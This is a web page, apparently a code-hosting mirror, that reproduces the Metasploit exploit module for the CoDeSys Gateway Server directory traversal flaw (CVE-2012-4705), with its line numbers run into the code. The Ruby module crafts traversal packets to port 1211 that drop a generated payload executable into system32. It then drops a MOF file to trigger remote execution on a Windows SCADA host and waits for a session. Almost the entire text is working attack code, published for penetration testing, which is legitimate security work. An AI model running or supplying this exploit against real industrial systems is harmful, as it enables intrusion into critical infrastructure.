Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3# https://metasploit.com4##56class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::EXE10include Msf::Exploit::FileDropper11include Msf::Exploit::Remote::Tcp12include Msf::Exploit::WbemExec1314def initialize(info = {})15super(update_info(info,16'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',17'Description' => %q{18This module exploits a directory traversal vulnerability that allows arbitrary19file creation, which can be used to execute a mof file in order to gain remote20execution within the SCADA system.21},22'Author' =>23[24'Enrique Sanchez <esanchez[at]accuvant.com>'25],26'License' => MSF_LICENSE,27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [],30'Reliability' => []31},32'References' =>33[34['CVE', '2012-4705'],35['OSVDB', '90368'],36['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']37],38'DisclosureDate' => '2013-02-02',39'Platform' => 'win',40'Targets' =>41[42['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]43],44'DefaultTarget' => 0))4546register_options(47[48Opt::RPORT(1211),49])50end5152##53# upload_file(remote_filepath, remote_filename, local_filedata)54#55# remote_filepath: Remote filepath where the file will be uploaded56# remote_filename: Remote name of the file to be executed ie. boot.ini57# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()58def upload_file(remote_filepath, remote_filename, local_filedata = null)59magic_code = "\xdd\xdd"60opcode = [6].pack('L')6162# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!63file = "..\\..\\" << remote_filepath << remote_filename << "\x00"64pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 46566# Magic_code + packing + size67pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')6869tmp_pkt = opcode << file70tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata71pkt << tmp_pkt7273print_status("Starting upload of file #{remote_filename}")74connect75sock.put(pkt)76disconnect7778print_status("File uploaded")79end8081def exploit82print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")8384# We create an exe payload, we have to get remote execution in 2 steps85exe = generate_payload_exe86exe_name = Rex::Text::rand_text_alpha(8) + ".exe"87upload_file("windows\\system32\\", exe_name, exe)8889# We create the mof file and upload (second step)90mof_name = Rex::Text::rand_text_alpha(8) + ".mof"91mof = generate_mof(mof_name, exe_name)92upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)9394print_status("Everything is ready, waiting for a session ... ")95handler9697#Taken from the spooler exploit writen byt jduck and HDMoore98cnt = 199while session_created? == false and cnt < 25100::IO.select(nil, nil, nil, 0.25)101cnt += 1102end103end104end105106107